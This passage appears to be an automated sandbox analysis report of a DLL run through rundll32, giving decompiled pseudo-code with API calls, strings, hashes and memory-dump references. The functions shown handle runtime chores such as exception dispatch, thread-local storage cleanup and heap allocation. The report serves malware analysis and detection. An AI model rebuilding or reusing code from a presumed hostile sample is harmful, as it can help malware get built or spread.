												E6E55D290(_t285, _t342);
												asm("ud2");
												goto L104;
											}
											 *0x6e5ad040 = 0;
											_t368 =  *0x6e5ad040;
											if( *0x6e5ad040 == 0) {
												goto L95;
											}
											_t330 =  &_v68;
											_v68 = 0x6e5a017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6e59f570;
											_v48 = 0;
											_v20 = 3;
											if(E6E55D0F0( &_v92, _t368) != 3) {
												goto L95;
											}
											_v40 = _t330;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t330 + 4))))( *_t330);
											_t348 = _t348 + 4;
											L90:
											_t296 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t296 + 4)) != 0) {
												_t238 =  *_v40;
												if( *((intOrPtr*)(_t296 + 8)) >= 9) {
													_t238 =  *(_t238 - 4);
												}
												HeapFree( *0x6e5ae128, 0, _t238);
											}
											HeapFree( *0x6e5ae128, 0, _v40);
											goto L95;
										}
									}
									_t213 = 0;
									goto L105;
								}
								_t213 = 0;
								goto L48;
							}
						}
					}
				}
			}

APIs

Part of subcall function 6E55C700: AcquireSRWLockShared.KERNEL32(6E5AE11C), ref: 6E55C785

HeapFree.KERNEL32(00000000,00000000), ref: 6E55C8DC
HeapFree.KERNEL32(00000000,?), ref: 6E55C8EA
TlsGetValue.KERNEL32(00000000), ref: 6E55C94D
HeapFree.KERNEL32(00000000,00000000), ref: 6E55CB31
HeapFree.KERNEL32(00000000,?), ref: 6E55CB3F

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6E55CC00
cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6E55C74D, 6E55C7C8

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: FreeHeap$AcquireLockSharedValue
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa
API String ID: 942675266-716947571
Opcode ID: 231129a81e982888e5cdeb419d6dabac19fce788a951e84fabb0f47b524743b8
Instruction ID: 4f3b85b2059c0cac60d10a6c03143ee286f98a3eae579c5440ee1bb599292615
Opcode Fuzzy Hash: 231129a81e982888e5cdeb419d6dabac19fce788a951e84fabb0f47b524743b8
Instruction Fuzzy Hash: AF0238B09002198FDB10CFE8C894BAEBBF5FF49304F20851AD515AB390EB75A956CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6E56F6F6, Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 64%

			E6E56F6F6(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6E570658(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6E571C23(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E6E56F3B1(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6E56F3B1(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6E56EBF7(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6E56EB2A(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6E56F676(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6E571C23(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6E56F3B1(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6E56F3B1(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6E56F3B1(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6E56F3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6E56EB2A(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6E56F676(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6E56F131(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6E56F3B1(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6E570105(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6E56F3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6E56F3B1(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6E56F3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6E56F3B1(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6E570105(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6E571BCC(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6E56FD99( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, ?str?) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6E56F131(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6E56FD81( &_v64);
											E6E56E95C( &_v64, 0x6e5ab17c);
											L63:
											 *(E6E56F3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6E56F3B1(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6E56ED1D(_t279, _t319, _t274);
											E6E570005(_a8, _a16, _t305);
											_t235 = E6E5701C2(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6E56FF7C(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6E56F7F3
type_info::operator==.LIBVCRUNTIME ref: 6E56F815
___TypeMatch.LIBVCRUNTIME ref: 6E56F924
IsInExceptionSpec.LIBVCRUNTIME ref: 6E56F9F6
_UnwindNestedFrames.LIBCMT ref: 6E56FA7A
CallUnexpected.LIBVCRUNTIME ref: 6E56FA95

Strings

csm, xrefs: 6E56F733
csm, xrefs: 6E56F7A0
csm, xrefs: 6E56F84C
tVZn, xrefs: 6E56F80C

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm$tVZn
API String ID: 2123188842-4182995660
Opcode ID: 1022ef1b79d1f31836168c2e4e7c6e33086c2a425ba79f9012ea64873ce3185d
Instruction ID: 5b189f7302d90986aeb875e19a98a66da76565d3a947a9a9630292413ba87c6b
Opcode Fuzzy Hash: 1022ef1b79d1f31836168c2e4e7c6e33086c2a425ba79f9012ea64873ce3185d
Instruction Fuzzy Hash: 38B16A72D0020AEFCF55CFE4D8909AEBBF9BF48314F24455AE9106B225D731DA52CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E5510A0, Relevance: 13.6, APIs: 6, Strings: 3, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E6E5510A0(long __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, char _a8, char _a16) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				long _v44;
				long _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				long _v64;
				void* __ebp;
				void* _t45;
				void* _t46;
				void* _t50;
				void* _t51;
				intOrPtr _t54;
				long _t62;
				void* _t71;
				void* _t81;
				void* _t84;
				intOrPtr _t85;

				_t78 = __esi;
				_t76 = __edi;
				_t59 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t85 = _t84 - 0x30;
				_v32 = _t85;
				_v20 = 0xffffffff;
				_v24 = E6E563950;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t45 =  *0x6e5ae128; // 0x2cb0000
				if(_t45 != 0) {
					L3:
					_t46 = HeapAlloc(_t45, 0, 0xf);
					if(_t46 == 0) {
						goto L18;
					} else {
						asm("movsd xmm0, [0x6e59da37]");
						asm("movsd xmm1, [0x6e59da30]");
						_v40 = _t46;
						asm("movsd [eax+0x7], xmm0");
						asm("movsd [eax], xmm1");
						_t50 =  *0x6e5ae128; // 0x2cb0000
						if(_t50 != 0) {
							L7:
							_t51 = HeapAlloc(_t50, 0, 0x10);
							if(_t51 == 0) {
								goto L19;
							} else {
								asm("movsd xmm0, [0x6e59da47]");
								asm("movsd xmm1, [0x6e59da3f]");
								_t71 = 0;
								_t59 = 0x10;
								_v52 = _t51;
								_v48 = 0x10;
								asm("movsd [eax+0x8], xmm0");
								asm("movsd [eax], xmm1");
								while(1) {
									_v44 = _t59;
									if(_t71 > 0xf) {
										break;
									}
									_t17 = _t71 + 1; // 0x1
									_t76 = _t71 + _t17;
									_t78 = _t59 - _t76;
									if(_t78 < 0) {
										_v20 = 0;
										E6E579300(_t59, _t76, _t59, _t76, _t78, __eflags);
										asm("ud2");
										goto L18;
									} else {
										if(_t59 == _v48) {
											_v36 = _t71;
											_v56 = _t78;
											_v60 = _t76;
											_v20 = 0;
											_v64 = _t59;
											E6E579280( &_v52, _t59);
											_t51 = _v52;
											_t59 = _v64;
											_t71 = _v36;
											_t76 = _v60;
											_t78 = _v56;
										}
										_t10 = _t76 + 1; // 0x1
										_v36 = _t71 + 1;
										_t81 = _t51;
										E6E56D4D0(_t51 + _t10, _t51 + _t76, _t78);
										_t71 = _v36;
										_t51 = _t81;
										_t85 = _t85 + 0xc;
										 *((char*)(_t81 + _t76)) = 0;
										_t59 = _t59 + 1;
										continue;
									}
									goto L21;
								}
								_v20 = 0;
								_t31 =  &_a16; // 0x6e563950
								_v36 = _t51;
								E6E56BE30(_v40, _a4, _a8, _t51,  *_t31);
								__eflags = _v48;
								if(_v48 != 0) {
									HeapFree( *0x6e5ae128, 0, _v36);
								}
								HeapFree( *0x6e5ae128, 0, _v40);
								_t54 = _v28;
								 *[fs:0x0] = _t54;
								return _t54;
							}
						} else {
							_t50 = GetProcessHeap();
							if(_t50 == 0) {
								L19:
								_t62 = 0x10;
								goto L20;
							} else {
								 *0x6e5ae128 = _t50;
								goto L7;
							}
						}
					}
				} else {
					_t45 = GetProcessHeap();
					if(_t45 == 0) {
						L18:
						_t62 = 0xf;
						L20:
						E6E5792F0(_t59, _t62, 1, _t76, _t78, __eflags);
						asm("ud2");
						__eflags =  &_a8;
						E6E551000(_v52, _v48);
						return E6E551000(_v40, 0xf);
					} else {
						 *0x6e5ae128 = _t45;
						goto L3;
					}
				}
				L21:
			}

APIs

GetProcessHeap.KERNEL32 ref: 6E5510D6
HeapAlloc.KERNEL32(02CB0000,00000000,0000000F), ref: 6E5510ED
GetProcessHeap.KERNEL32(02CB0000,00000000,0000000F), ref: 6E55111F
HeapAlloc.KERNEL32(02CB0000,00000000,00000010,02CB0000,00000000,0000000F), ref: 6E551136
HeapFree.KERNEL32(00000000,?,00000000,00000010,02CB0000,00000000,0000000F), ref: 6E55120B
HeapFree.KERNEL32(00000000,?,00000000,00000010,02CB0000,00000000,0000000F), ref: 6E55121B

Strings

Control_RunDLL, xrefs: 6E551102
P9Vn, xrefs: 6E5511E2
Control_RunDLL, xrefs: 6E55114B

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: Heap$AllocFreeProcess
String ID: Control_RunDLL$Control_RunDLL$P9Vn
API String ID: 2113670309-530248519
Opcode ID: 2afb34a70b9c9a126b24240598d18ed51904fa0ca0523a57b5bc961f0e701e14
Instruction ID: def2221093ee9705fee0445943a5f83ce8d7573b3008746c23b7c17828328e1f
Opcode Fuzzy Hash: 2afb34a70b9c9a126b24240598d18ed51904fa0ca0523a57b5bc961f0e701e14
Instruction Fuzzy Hash: 4D518B75D00A199BDF00CFE9CD80BEEBBF5FB89304F114526E9056B350DB70A8548BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E55C340, Relevance: 12.6, APIs: 10, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6E55C340() {
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t31;
				signed char _t42;
				signed char _t43;
				signed char _t44;
				signed char _t45;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t54;
				intOrPtr* _t55;
				intOrPtr* _t56;
				void* _t57;

				_t25 =  *((intOrPtr*)(_t57 + 0x18));
				if(_t25 == 3 || _t25 == 0) {
					_t52 =  *0x6e5ae12c; // 0x0
					if(_t52 == 0) {
						goto L26;
					}
					_t42 = 0;
					do {
						_t27 = TlsGetValue( *(_t52 + 4));
						if(_t27 != 0) {
							TlsSetValue( *(_t52 + 4), 0);
							 *_t52(_t27);
							_t57 = _t57 + 4;
							_t42 = 1;
						}
						_t52 =  *((intOrPtr*)(_t52 + 8));
					} while (_t52 != 0);
					if((_t42 & 0x00000001) == 0) {
						goto L26;
					}
					_t53 =  *0x6e5ae12c; // 0x0
					if(_t53 == 0) {
						goto L26;
					}
					_t43 = 0;
					do {
						_t28 = TlsGetValue( *(_t53 + 4));
						if(_t28 != 0) {
							TlsSetValue( *(_t53 + 4), 0);
							 *_t53(_t28);
							_t57 = _t57 + 4;
							_t43 = 1;
						}
						_t53 =  *((intOrPtr*)(_t53 + 8));
					} while (_t53 != 0);
					if((_t43 & 0x00000001) == 0) {
						goto L26;
					}
					_t54 =  *0x6e5ae12c; // 0x0
					if(_t54 == 0) {
						goto L26;
					}
					_t44 = 0;
					do {
						_t29 = TlsGetValue( *(_t54 + 4));
						if(_t29 != 0) {
							TlsSetValue( *(_t54 + 4), 0);
							 *_t54(_t29);
							_t57 = _t57 + 4;
							_t44 = 1;
						}
						_t54 =  *((intOrPtr*)(_t54 + 8));
					} while (_t54 != 0);
					if((_t44 & 0x00000001) == 0) {
						goto L26;
					}
					_t55 =  *0x6e5ae12c; // 0x0
					if(_t55 == 0) {
						goto L26;
					}
					_t45 = 0;
					do {
						_t30 = TlsGetValue( *(_t55 + 4));
						if(_t30 != 0) {
							TlsSetValue( *(_t55 + 4), 0);
							 *_t55(_t30);
							_t57 = _t57 + 4;
							_t45 = 1;
						}
						_t55 =  *((intOrPtr*)(_t55 + 8));
					} while (_t55 != 0);
					if((_t45 & 0x00000001) != 0) {
						_t56 =  *0x6e5ae12c; // 0x0
						while(_t56 != 0) {
							_t31 = TlsGetValue( *(_t56 + 4));
							if(_t31 != 0) {
								TlsSetValue( *(_t56 + 4), 0);
								 *_t56(_t31);
								_t57 = _t57 + 4;
							}
							_t56 =  *((intOrPtr*)(_t56 + 8));
						}
					}
					goto L26;
				} else {
					L26:
					_t26 =  *0x6e5aa300; // 0x70
					return _t26;
				}
			}

APIs

TlsGetValue.KERNEL32(?), ref: 6E55C37A
TlsSetValue.KERNEL32(?,00000000), ref: 6E55C387
TlsGetValue.KERNEL32(?), ref: 6E55C3CA
TlsSetValue.KERNEL32(?,00000000), ref: 6E55C3D7
TlsGetValue.KERNEL32(?), ref: 6E55C40A
TlsSetValue.KERNEL32(?,00000000), ref: 6E55C417
TlsGetValue.KERNEL32(?), ref: 6E55C44A
TlsSetValue.KERNEL32(?,00000000), ref: 6E55C457
TlsGetValue.KERNEL32(?), ref: 6E55C48B
TlsSetValue.KERNEL32(?,00000000), ref: 6E55C498

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
